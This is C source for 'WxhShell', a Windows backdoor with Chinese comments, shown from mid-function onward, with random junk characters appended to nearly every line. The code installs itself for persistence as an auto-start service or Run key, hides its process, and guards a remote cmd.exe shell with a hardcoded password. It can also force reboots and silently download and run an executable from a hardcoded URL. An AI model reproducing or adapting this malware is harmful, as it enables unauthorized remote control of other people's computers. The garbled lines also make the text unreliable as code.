    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 95G*i;E  
    if(Boot(SHUTDOWN)) 9ywPWT[^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .+"SDt oX  
    else { T'TxC)  
    closesocket(wsh); s`$px2Gw  
    ExitThread(0); vs )1Rm  
    } @Fl&@ $  
    break; cKj6tT"=O  
    } @$(/6]4p  
  // 获取shell +yYv"J  
  case 's': { 8'kA",P  
    CmdShell(wsh); B?xu!B,  
    closesocket(wsh); ZoiCdXvTN  
    ExitThread(0);  9g*MBe:  
    break; R{"7q:-  
  } |F'k5Lh  
  // 退出 1wqsGad+;  
  case 'x': { |5}~n"R5  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); q&-A}]  
    CloseIt(wsh); V %cU @  
    break; ]v^;]0vcr  
    } U/JeEI%L  
  // 离开 NNQro)Lpe  
  case 'q': { F;IG@ &  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); t7%!~s=,M  
    closesocket(wsh); f'\NGL  
    WSACleanup(); B0:[3@P7  
    exit(1); F<UEipe/N  
    break; 3ppY@_1  
        } |x AwiF_  
  } cXJtNW@  
  } "DFj4XKXY9  
tN5brf  
  // 提示信息 Rp2~d  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); FJN,er~T[  
} !0g+}  
  } 9K8f ##3  
042sjt  
  return; =9 TAs? =  
} *yv@-lP5s  
]x hmM1$  
// shell模块句柄 2wWL]`(E  
int CmdShell(SOCKET sock) z:aT5D  
{ COw]1 R  
STARTUPINFO si; 9 GdrJ~h  
ZeroMemory(&si,sizeof(si)); S!GjCog^J  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 'U)|m  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; #pxc6W /  
PROCESS_INFORMATION ProcessInfo; @5%cP  
char cmdline[]="cmd"; !P, 9Sg&5)  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); <:u)C;  
  return 0; _[SP*" ]H  
} N.q4Ar[x#p  
c?0uv2*Yh  
// 自身启动模式 3986;>v  
int StartFromService(void) yT42u|xZA  
{ W 9Z.X!h  
typedef struct VZ*Q|  
{ JlF0L%Rc  
  DWORD ExitStatus; %<e\s6|P:  
  DWORD PebBaseAddress; HRx%m1H  
  DWORD AffinityMask; BEM+FG  
  DWORD BasePriority; 'nNw  
  ULONG UniqueProcessId; : 5@cj j  
  ULONG InheritedFromUniqueProcessId; %>uGzQ61  
}   PROCESS_BASIC_INFORMATION; j\nnx8`7  
o_gpBaWD  
PROCNTQSIP NtQueryInformationProcess;  Lp%V$'  
s &v<5W2P  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; >qn@E?Uf  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; R0fZ9_d7}  
fV3!x,H  
  HANDLE             hProcess; AAsl )  
  PROCESS_BASIC_INFORMATION pbi; P,!k^J3:l  
>R?EJ;h  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 181-m7W  
  if(NULL == hInst ) return 0; {Gs&u>>R"^  
4yC{BRbi  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); "w`f>]YLA  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); >]=1~ sF  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); I0O)MR<  
Zg7~&vs$  
  if (!NtQueryInformationProcess) return 0; xZS  
: H<u@%  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?T5^hQT   
  if(!hProcess) return 0; _f,q8ZkSr  
pF.Ws,nQ5  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; n(a7%Hx2  
F5%-6@=  
  CloseHandle(hProcess); 3vOI=ar=L~  
{R[lsdH(X  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 0-g,C=L  
if(hProcess==NULL) return 0; K+H?,I  
Z>a_vC  
HMODULE hMod; r3w.$  
char procName[255]; 5SX0g(C  
unsigned long cbNeeded; ,u( g#T  
N7Z&_$Bx  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); [*?P2.bf  
#l-,2C~  
  CloseHandle(hProcess); L5cNCWpo  
y]?%2ud/=  
if(strstr(procName,"services")) return 1; // 以服务启动 9L?EhDcDV  
<l5{!g  
  return 0; // 注册表启动 &P!^k0NJR  
} ]xf{.z  
oCSf$g8q  
// 主模块 m0F-[k3)  
int StartWxhshell(LPSTR lpCmdLine) `S<uh9/  
{ (H+'sf^h  
  SOCKET wsl; 5Zn3s()  
BOOL val=TRUE; vsoj] R$C  
  int port=0; [_qBp:_j?s  
  struct sockaddr_in door; Z|d_G}  
}tx~y-QQ  
  if(wscfg.ws_autoins) Install(); >S{1=N@Ev=  
kOR%<#:J  
port=atoi(lpCmdLine); h=4m2m  
.'"+CKD.N  
if(port<=0) port=wscfg.ws_port; ^F`FB..:y  
4ej$)AdW3  
  WSADATA data; Qoq@=|7kxa  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 7 m&M(ct  
a|5GC pp  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   WLNkO^zb  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +zs;>'Sf  
  door.sin_family = AF_INET; <g,k[  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); O(/K@e  
  door.sin_port = htons(port); 1WcT>_$  
J~<:yBup}  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 4pq>R  
closesocket(wsl); ?Dm!;Z+7  
return 1; H:9( XW  
} DfV_08  
wGISb\rr  
  if(listen(wsl,2) == INVALID_SOCKET) { ffm19B=  
closesocket(wsl); 3=dGz^Zdv:  
return 1; gNs@Q !  
} 1 EC0wX  
  Wxhshell(wsl); FL/y{;  
  WSACleanup(); % C6 H(  
#)>>f  
return 0; <2H 0m  
%DPtK)X1  
} $j{ynh)^  
kf-ZE$S4  
// 以NT服务方式启动 7\a(Imq  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 3QUe:8  
{ D9H|]W~   
DWORD   status = 0; c!Pi)  
  DWORD   specificError = 0xfffffff; p$[*GXR4  
kHz3_B9 [  
  serviceStatus.dwServiceType     = SERVICE_WIN32; iyH<!>a  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; rIge6A>I  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; *i%!j/QDAP  
  serviceStatus.dwWin32ExitCode     = 0; 51;(vf  
  serviceStatus.dwServiceSpecificExitCode = 0; do=VPqy  
  serviceStatus.dwCheckPoint       = 0; ]X?+]9Fr  
  serviceStatus.dwWaitHint       = 0; s o~p+]  
|nD2k,S<?  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {,s:vPoiA  
  if (hServiceStatusHandle==0) return; 'Q(A5zfN]Y  
fhfdNmtR)I  
status = GetLastError(); zq4mT;rqz  
  if (status!=NO_ERROR) Cn28&$:J  
{ L<8y5B~W  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; [.<vISRir  
    serviceStatus.dwCheckPoint       = 0; zy$hDy0  
    serviceStatus.dwWaitHint       = 0; )\VUAD%~e7  
    serviceStatus.dwWin32ExitCode     = status; gdCU1D\  
    serviceStatus.dwServiceSpecificExitCode = specificError; {_[l,tdZ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); &,$A7:  
    return; Z"!C  
  } M"p$9t  
`$@1NL7>  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 8 (.<  
  serviceStatus.dwCheckPoint       = 0; #C>pA<YJzK  
  serviceStatus.dwWaitHint       = 0; ` GPK$ue  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Qr0JJoHT  
} u3k+Xg:  
XkdNWR0  
// 处理NT服务事件,比如:启动、停止 T5-4Q  
VOID WINAPI NTServiceHandler(DWORD fdwControl) qKO\;e*  
{ wc__g8?'  
switch(fdwControl) C 7+TnJ  
{ %],.?TS2V  
case SERVICE_CONTROL_STOP: 'R=o,=  
  serviceStatus.dwWin32ExitCode = 0; E>'pMw  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; "n]B~D  
  serviceStatus.dwCheckPoint   = 0; %&gx@ \v  
  serviceStatus.dwWaitHint     = 0; wEDU*}~  
  { })!n1kt  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ARU,Wtj#  
  } OvK_CN{  
  return; t1ZZru'r  
case SERVICE_CONTROL_PAUSE: bjQfZT(  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ~}ewna/2  
  break; DMs|Q$XB  
case SERVICE_CONTROL_CONTINUE: y/i"o-}}~|  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; CSsb~/Oxu  
  break; {5%<@<? )  
case SERVICE_CONTROL_INTERROGATE: `b7o  
  break; 4El{2cfA  
}; Q?1 KxD!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); b<5:7C9z  
} Vn8Qsf1f  
#4c uNX5m%  
// 标准应用程序主函数 8u+ (+25  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) +pe_s&  
{ R [uo:.  
~Kb(`Px@  
// 获取操作系统版本 xc*ys-Nv  
OsIsNt=GetOsVer(); {g )kT_  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Vq<|DM3z<  
 dc5B#  
  // 从命令行安装 R2~Rqlti  
  if(strpbrk(lpCmdLine,"iI")) Install(); _t;w n7p  
s{iYf :  
  // 下载执行文件 K@>v|JD  
if(wscfg.ws_downexe) { f%@Y XGf  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) t"BpaA^gO  
  WinExec(wscfg.ws_filenam,SW_HIDE); Hss{Sb(  
} %%k[TO  
HQUL?URt  
if(!OsIsNt) { 41C=O@9m  
// 如果时win9x,隐藏进程并且设置为注册表启动 KR522YW  
HideProc();  =6A<>  
StartWxhshell(lpCmdLine); T+.wJ W:jh  
} Y":hb;&  
else VUt 6[~?  
  if(StartFromService()) )?TJ{'m  
  // 以服务方式启动 |x kixf4zz  
  StartServiceCtrlDispatcher(DispatchTable); !8A5Y[(XD  
else vMC;5r6*d  
  // 普通方式启动 &=7ur  
  StartWxhshell(lpCmdLine); Viw{<VH=  
d+^4 ;Hv4  
return 0; Jhut>8  
} {u5)zVYC,U  
I}8F3_b,#  
UHCx}LGe  
U 9 k}y  
=========================================== (sl]%RjGa  
iu1iO;q  
"thu@~aC  
'Uc|[l]  
OVivJx  
f,uxoAS  
" 9g*~X;`2  
<A6<q&g|E  
#include <stdio.h> $u"K1Q 3  
#include <string.h> hB^"GYZ  
#include <windows.h> [Q$"+@jw  
#include <winsock2.h> W&yw5rt**  
#include <winsvc.h> b<7.^  
#include <urlmon.h> )O+9 v}2  
5GRN1Aov<  
#pragma comment (lib, "Ws2_32.lib") @rJ#Dr  
#pragma comment (lib, "urlmon.lib") k~hL8ZT[  
sP&E{{<QTF  
#define MAX_USER   100 // 最大客户端连接数 v~xG*e  
#define BUF_SOCK   200 // sock buffer ims *|~{sr  
#define KEY_BUFF   255 // 输入 buffer /y-P) 3_  
/JfXK$`  
#define REBOOT     0   // 重启 k1cBMDSokO  
#define SHUTDOWN   1   // 关机 I7Eg$J&  
ca`=dwe>  
#define DEF_PORT   5000 // 监听端口 --/  .  
P]x@h  
#define REG_LEN     16   // 注册表键长度 :g\qj? o  
#define SVC_LEN     80   // NT服务名长度 9c?izpA  
lA ,%'+-  
// 从dll定义API `}=Fw0  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ; 6zu!  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Df4n9m}E  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); {6AJ>}3  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); !C+25vup  
Wx-{F  
// wxhshell配置信息 Q^ F-8  
struct WSCFG { UU !I@  
  int ws_port;         // 监听端口 !#?tA/t@  
  char ws_passstr[REG_LEN]; // 口令 +tA rH C]  
  int ws_autoins;       // 安装标记, 1=yes 0=no ~/.&Z`ls  
  char ws_regname[REG_LEN]; // 注册表键名 0FW=8hFp,  
  char ws_svcname[REG_LEN]; // 服务名 Fd 91Y  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 FUOvH 85f  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 fklM Yu4:n  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 [n^___7  
int ws_downexe;       // 下载执行标记, 1=yes 0=no (;M"'. C  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" cCeD3CuRA%  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 WFdS#XfV  
lWdE^-  
}; tDwXb>  
LnL<WI*Pq  
// default Wxhshell configuration kjmF-\  
struct WSCFG wscfg={DEF_PORT, q'@UZ$2  
    "xuhuanlingzhe", ~cez+VQe  
    1, .Q#Eb %%  
    "Wxhshell", M6I1`Lpf  
    "Wxhshell", du qu}*Jw  
            "WxhShell Service", ]#qdA(Kl  
    "Wrsky Windows CmdShell Service", &0l Nj@/  
    "Please Input Your Password: ", H>D_0o<#y  
  1, H9nq.<;p  
  "http://www.wrsky.com/wxhshell.exe", VT9$&\)>O  
  "Wxhshell.exe" uu/M XID  
    }; Y#m0/1-  
KOxD%bX_  
// 消息定义模块 b9vKux  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; K0v,d~+]  
char *msg_ws_prompt="\n\r? for help\n\r#>"; C6Mb(&  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; mPu5%%  
char *msg_ws_ext="\n\rExit.";  {jl4`  
char *msg_ws_end="\n\rQuit."; xM*v!J,  
char *msg_ws_boot="\n\rReboot..."; HC0puLt_  
char *msg_ws_poff="\n\rShutdown..."; ,yT4(cMBk?  
char *msg_ws_down="\n\rSave to "; +g;G*EP7*  
=1,g#HS  
char *msg_ws_err="\n\rErr!"; 6SmSu\lgV  
char *msg_ws_ok="\n\rOK!"; :[rx|9M6  
^ 1g6(k'  
char ExeFile[MAX_PATH]; N;w1f"V}  
int nUser = 0; 8sIGJ|ku   
HANDLE handles[MAX_USER]; (5I]umtge  
int OsIsNt; #eaey+~  
2#&K3v  
SERVICE_STATUS       serviceStatus; (>jME  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 1zM`g_(#  
Zf"AqGP  
// 函数声明 ooq>/OI0  
int Install(void); 8O7JuR  
int Uninstall(void); I;`V*/s8"  
int DownloadFile(char *sURL, SOCKET wsh); #"Zr#P{P  
int Boot(int flag); l^vq'<kI  
void HideProc(void); l(`w]=t&  
int GetOsVer(void); bT;C8i4b\H  
int Wxhshell(SOCKET wsl); g &za/F  
void TalkWithClient(void *cs); ^NCH)zK]v  
int CmdShell(SOCKET sock); `K@   
int StartFromService(void); eGE,zkj FY  
int StartWxhshell(LPSTR lpCmdLine); ?e@Ff"Y@e  
Uarb [4OZ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); WFB2Ub7  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); *0iP*j/]  
x88$#N>Q5  
// 数据结构和表定义 l|&nGCW  
SERVICE_TABLE_ENTRY DispatchTable[] = L.GpQJ8u  
{ _A,m@BCz  
{wscfg.ws_svcname, NTServiceMain}, N7E[wOP  
{NULL, NULL} s4Wk2*7 Mq  
}; 0#q_LB  
15zL,yo  
// 自我安装 mrJQB I+  
int Install(void) 5P! ZJ3C  
{ |9%>R*  
  char svExeFile[MAX_PATH]; "[8](3\v  
  HKEY key; $nVTN.k  
  strcpy(svExeFile,ExeFile); zso.?`85  
^qDkSoqC"  
// 如果是win9x系统,修改注册表设为自启动 55;xAsG  
if(!OsIsNt) { b+C>p2%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { dv,8iOL  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); IlE! zRA  
  RegCloseKey(key); |%tR#!&[:g  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $0 l i"+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [qy@g5`  
  RegCloseKey(key); A>PM'$"sT  
  return 0; p5bH- km6  
    } YF;8il{p  
  } Ri,UHI4 W  
} }r i"u;.R  
else { \Lc pl-;?  
5~sJ$5<,  
// 如果是NT以上系统,安装为系统服务 'UB<;6wy  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); eg}|%GG  
if (schSCManager!=0) 2`lit@u&u  
{ T.{I~_  
  SC_HANDLE schService = CreateService tVe*J@i\$  
  ( ,:#prT[P"  
  schSCManager, "16==tLFE  
  wscfg.ws_svcname, sz)3 z  
  wscfg.ws_svcdisp, F;z FKvn  
  SERVICE_ALL_ACCESS, ?>,aq>2O$  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , fb#Ob0H  
  SERVICE_AUTO_START, { ~Cqb7  
  SERVICE_ERROR_NORMAL, ,og@}gOMB  
  svExeFile, |S4yol  
  NULL, 3v{GP>  
  NULL, O,bj_CWx  
  NULL, 5!5P\o  
  NULL, s=6w-'; V  
  NULL }^QY<Cp|  
  ); W=|B3}C?  
  if (schService!=0) c#l (~g$D+  
  { 6 o+zhi;E  
  CloseServiceHandle(schService); C!.6:Aj  
  CloseServiceHandle(schSCManager); :n>h[{ o%  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); !g}9xIL  
  strcat(svExeFile,wscfg.ws_svcname); } FFW,x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { R sujKh/  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 7?A}q mv  
  RegCloseKey(key); 3wr~P  
  return 0; 2V  
    } I*24%z9  
  } :H?p^d e  
  CloseServiceHandle(schSCManager); Z|~<B4#c  
} EatpORq  
} *m|]c4  
ad"&c*m[  
return 1; *+J&ebSTN  
} ,+q5e^P  
v& ? Bqj  
// 自我卸载 plp).Gq  
int Uninstall(void) N),Zb^~nw  
{ ? G3OAx?<  
  HKEY key; Z1>pOJm  
5-+Y2tp}  
if(!OsIsNt) { x &\~4,TN  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { lh5k@\X  
  RegDeleteValue(key,wscfg.ws_regname); <( MBs$b  
  RegCloseKey(key); T? =jKLPC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6L*y$e"Qc  
  RegDeleteValue(key,wscfg.ws_regname); xR%CS`0R  
  RegCloseKey(key); iBc( @EJ  
  return 0; q_W NN/w  
  } 8..itty  
} =g&0CFF<  
} IP~g7`Y  
else { UL{Xe&sT  
)JZfC&,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); #S1)n[  
if (schSCManager!=0) fCTjTlh  
{ M"P$hb'F  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); -Y+[`0$'  
  if (schService!=0) Oo#wPT;1^(  
  { #7g~U m%p  
  if(DeleteService(schService)!=0) { u{\`*dNx  
  CloseServiceHandle(schService); S4 tdW A  
  CloseServiceHandle(schSCManager); zKI(yC  
  return 0; ^beW*O!  
  } xxedezNko  
  CloseServiceHandle(schService); kDm=Cjxv  
  } CqF< BE  
  CloseServiceHandle(schSCManager); ]{;K|rCR-  
} ]r#tJ T`M  
} #_H=pNWe  
nhy3E  
return 1; 6%5A&&O(b  
} NcPzmW{#;g  
9,F(f}(t  
// 从指定url下载文件 q!FJP9x  
int DownloadFile(char *sURL, SOCKET wsh) qg'm<[  
{ m@yaF: R  
  HRESULT hr; KJ~f ~2;  
char seps[]= "/"; kiXa2Yn*(d  
char *token; Bg34YmZ  
char *file; 1ra}^H}  
char myURL[MAX_PATH]; Ot/Y?=j~  
char myFILE[MAX_PATH]; 7$w:~VZ  
<;acWT?(  
strcpy(myURL,sURL); 2Gx&ECa,  
  token=strtok(myURL,seps); #$#{QEh0}  
  while(token!=NULL) mDo]5 i<  
  { ?B[Z9Ef"8l  
    file=token; w%L0mH2]ng  
  token=strtok(NULL,seps); /.}&yRR  
  } 5#iv[c  
2sf/^XC1  
GetCurrentDirectory(MAX_PATH,myFILE); Ib!`ChZ  
strcat(myFILE, "\\"); !.F`8OD`u  
strcat(myFILE, file);  ) .#,1  
  send(wsh,myFILE,strlen(myFILE),0); AJq'~fC;I  
send(wsh,"...",3,0); 8mMrGf[Q\  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); H,?AaM[V  
  if(hr==S_OK) 3J@# V '  
return 0; IoA"e@~t  
else o fN|%g /  
return 1; AU)Qk$c  
&;,w})  
} O/Da8#S<  
<iL+/^#  
// 系统电源模块 *X,vu2(I-=  
int Boot(int flag) fOrqY,P'  
{ r{Xh]U&>k  
  HANDLE hToken; /LJ?JwAvg5  
  TOKEN_PRIVILEGES tkp; bk"` hq  
BPC$ v\a  
  if(OsIsNt) { g*8sh  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); <]"aP1+C  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); `33+OW  
    tkp.PrivilegeCount = 1; ,Kdvt@vle  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; R` /n sou  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 3"q%-M|+Q  
if(flag==REBOOT) { 0WQ0-~wx  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) cT."  
  return 0; @aBZ|8  
} %*LdacjZ  
else { :y]l`Mo -  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) b$VdTpz  
  return 0; Q:tW LVE#0  
} =<FFFoF*C_  
  } )%)?M *  
  else { )LnHm  
if(flag==REBOOT) { 0Wk}d(f  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) d~YDg{H  
  return 0; 2)mKcUL-  
} Lw-)ijBW  
else { `Ol*"F.+I  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) IDcu#Nz`  
  return 0; (swP#t5S  
} 0*h\/!e  
} _:=w6jCk  
KLbP;:sr  
return 1; oA73\BFfP  
} #B>Hq~ vrC  
7CNEP2}:R  
// win9x进程隐藏模块 ]%G[<zD,1  
void HideProc(void) (}bP`[@rX!  
{ MYjDO>(_  
|L0s  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); $JcU0tPq0  
  if ( hKernel != NULL ) y?Fh%%uNr  
  { tpA7"JD  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); u5%.T0 P  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Jw9|I)H  
    FreeLibrary(hKernel); i1u & -#k  
  } d(R3![:  
K2)),_,@5+  
return; XPb7gd"% W  
} u:fiil$  
C9({7[k^%  
// 获取操作系统版本 {8b6A~/  
int GetOsVer(void) !t[X/iu  
{ `N2zeFG  
  OSVERSIONINFO winfo; 4uDz=B+8y  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); c1e7h l  
  GetVersionEx(&winfo); AY|8wf,LS  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) W0l|E&fj[  
  return 1; t5[{ihv~:  
  else ^d-`?zb  
  return 0; >.~^(  
} Ujb|| (W  
Ma wio5  
// 客户端句柄模块 C{+~x@  
int Wxhshell(SOCKET wsl) /q(+r5k \  
{ 8h-6;x^^  
  SOCKET wsh; F|Jo|02  
  struct sockaddr_in client; Qz[~{-<  
  DWORD myID; !P#lTyz  
!!dNp5h`  
  while(nUser<MAX_USER) N2=gSEY  
{ / ijj;9EB  
  int nSize=sizeof(client); oP_'0h0 X  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Y{um1 )k  
  if(wsh==INVALID_SOCKET) return 1; 0Tg/R4dI  
a&4>xZU #  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ejD;lvf  
if(handles[nUser]==0) +-`Q}~s+  
  closesocket(wsh); W<k) '|  
else kLADd"C  
  nUser++; qD Nqd  
  } KZ;U6TBiB  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); aFd ,   
T? _$  
  return 0; 2"JIlS;J}7  
} lvcX}{>\  
Y#NlbKkzu  
// 关闭 socket r'k-*I  
void CloseIt(SOCKET wsh) prhFA3 rW.  
{ 8_mdh+  
closesocket(wsh); ^MDBJ0 I.  
nUser--; %e:VeP~  
ExitThread(0); Pgs4/  
} {.;MsE  
!f]F'h8  
// 客户端请求句柄 e#SNN-hKsJ  
void TalkWithClient(void *cs) qvhTc6oH  
{ .kvuI6H  
l% K9Ke  
  SOCKET wsh=(SOCKET)cs; i#&]{]}Qv  
  char pwd[SVC_LEN]; vQYd!DSh  
  char cmd[KEY_BUFF]; F(}d|z@@  
char chr[1]; l'?/$?'e_Z  
int i,j; _8DY9GaE  
03AYW)"}M  
  while (nUser < MAX_USER) { yz,ak+wp  
1&U'pp|T  
if(wscfg.ws_passstr) { (\,mA-%E  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =`Nnd@3v  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Fl^.J<Dz  
  //ZeroMemory(pwd,KEY_BUFF); !Kd/ lDY  
      i=0; 5|wQeosXxI  
  while(i<SVC_LEN) { l*xA5ObV  
u*}6)=+:  
  // 设置超时 B5P++aQ  
  fd_set FdRead; OJQ7nChMm  
  struct timeval TimeOut; sm4@ywd>  
  FD_ZERO(&FdRead);  NM  
  FD_SET(wsh,&FdRead); |&h!#Q{7l  
  TimeOut.tv_sec=8; $A8eMJEpL  
  TimeOut.tv_usec=0; c;B Q$je}  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); :KMo'pL  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); (a@cK,  
b{(!Ls_ &  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); WcbJ4Ore  
  pwd=chr[0]; B qKD+  
  if(chr[0]==0xd || chr[0]==0xa) { SQWA{f  
  pwd=0; :.DCRs$Q  
  break; Cf2rRH  
  } YtxBkKiJ2V  
  i++; Z;SRW92@  
    } UFC.!t-Z  
: :e=6i  
  // 如果是非法用户,关闭 socket V]`V3cy1+3  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); !V7VM_}@Y  
} yEzp+Ky  
mJ !}!~:  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); A\.k['!  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <@ (HQuL#  
kSoAnJ|  
while(1) { N y7VIh|  
a}El!7RO0  
  ZeroMemory(cmd,KEY_BUFF); pjrVPi5&t  
x.>z2.  
      // 自动支持客户端 telnet标准   K;gm^  
  j=0; ]l}8  
  while(j<KEY_BUFF) { L)HuQVc g  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); LHR%dt|M  
  cmd[j]=chr[0]; 6EP5n  
  if(chr[0]==0xa || chr[0]==0xd) { qA Jgz7=c  
  cmd[j]=0; =DG aK0n  
  break; f.Q?-M  
  } 0'c<EJ  
  j++; =HYMX "s  
    } d\'M ~VQ  
bXC;6xZV  
  // 下载文件 b> &kL  
  if(strstr(cmd,"http://")) { _dIv{L!  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); _H<ur?G  
  if(DownloadFile(cmd,wsh)) -Y2h vC  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'R,1Jmx  
  else `61VP-r  
